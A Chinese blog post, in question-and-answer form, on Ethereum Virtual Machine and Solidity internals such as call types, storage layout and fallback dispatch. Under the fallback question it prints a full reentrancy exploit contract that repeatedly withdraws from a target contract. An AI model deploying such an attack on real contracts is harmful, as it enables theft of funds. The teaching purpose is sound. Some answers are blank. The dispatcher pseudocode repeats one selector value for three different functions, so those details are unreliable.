關於EVM 和 solidity語言一些內部機制的研究

以下都是來自我的新作《解密EVM機制及合約安全漏洞》裏的內容

電子版PDF下載:https://download.csdn.net/download/softgmx/10800947

 

 

1.EVM有寄存器嗎?

答:沒有

2.智能合約地址有私鑰嗎?

答:沒有

3.合約調用是怎樣傳參的?以及返回值又怎樣傳遞的?

答:

值參傳遞:

        

          返回值傳遞:

         

4.合約最大嵌套調用層數限制是多少?

答:目前定義1024層

5.合約的fallback機制是怎樣實現的?

答:

contract ReentranceExploit {

    bool public  attackModeIsOn=false;

    address public  vulnerable_contract;

    address public  owner;

    uint  balance;

    function ReentranceExploit()  public{

        owner = msg.sender;

    }

    function deposit(address _vulnerable_contract)  public payable{

        balance=this.balance;

        vulnerable_contract = _vulnerable_contract ;

        // call addToBalance with msg.value ethers

        require(vulnerable_contract.call.value(msg.value)(bytes4(sha3("addToBalance()"))));

    }

    function launch_attack()  public{

         balance=this.balance;

        attackModeIsOn = true;

        // call withdrawBalance

        // withdrawBalance calls the fallback of ReentranceExploit

        require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));

        //require(vulnerable_contract.call(bytes4(sha3("withdrawBalance_fixed_2()"))));

    }

    function ()  public  payable{

         balance=this.balance;

        // atackModeIsOn is used to execute the attack only once

        // otherwise there is a loop between withdrawBalance and the fallback function

        if (attackModeIsOn){

            attackModeIsOn = false;

                require(vulnerable_contract.call(bytes4(sha3("withdrawBalance()"))));

        }

    }

    function get_money(){

        suicide(owner);

    }

}

沒有源代碼的main函數(反彙編出來的):

uint256  main()

{

If(calldatasize<4)

         return  Fallback();

Switch(byte4(sha3(funDef)))

{

//這都是我們合約裏看到的public方法和public變量

Case “0x2321da32”:

          return  ReentranceExploit ();   

Case “0x43243434”:

         return  deposit ();  

Case “0x45435434”:

         return  launch_attack ();

Case “0xf342343d”:

          return  attackModeIsOn ();  

Case “0xf342343d”:

           return  vulnerable_contract ();   

Case “0xf342343d”:

           return  owner ();    

Default:

            return  Fallback();     //這是我們合約裏看到fallback方法

}

}

定義了fallback函數的main函數的實現:

        

沒有定義fallback函數的main函數的實現:

6.合約的storage變量是怎樣存儲的?又是怎樣索引的?

存儲佈局:

address(addr) = sha3(1)+0                                       

address(addr[0]) = sha3(sha3(1))+0

address(addr[1]) = sha3(sha3(1))+1

address(addr[2]) = sha3(sha3(1))+2

address(funds) = sha3(1)+1

 

7.合約間調用的方式有幾種?以及它們之間區別是什麼?

      答:

      

調用方式

Caller

存儲上下文

轉賬功能

安全問題

call

合約B

合約C

可以轉賬

可能發生重入(轉賬方法call.value())

staticcall

合約B

合約C

不能

因爲不能改變合約狀態,所以無影響

callcode

合約B

合約B

繼承了轉給B的value(隱含意義,在合約C的代碼中可以用call調用轉賬)

可能被利用修改合約B的關鍵變量,如:owner

delegatecall

用戶A

合約B

不能

可以被利用繞過合約權限認證

8.Stack,memory,storage最小對齊字節是什麼?

答:

stack: 32字節對齊;

memory:1字節對齊;

storage: 32字節對齊(但可以把兩個變量拼接成一個小於32字節的變量)

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章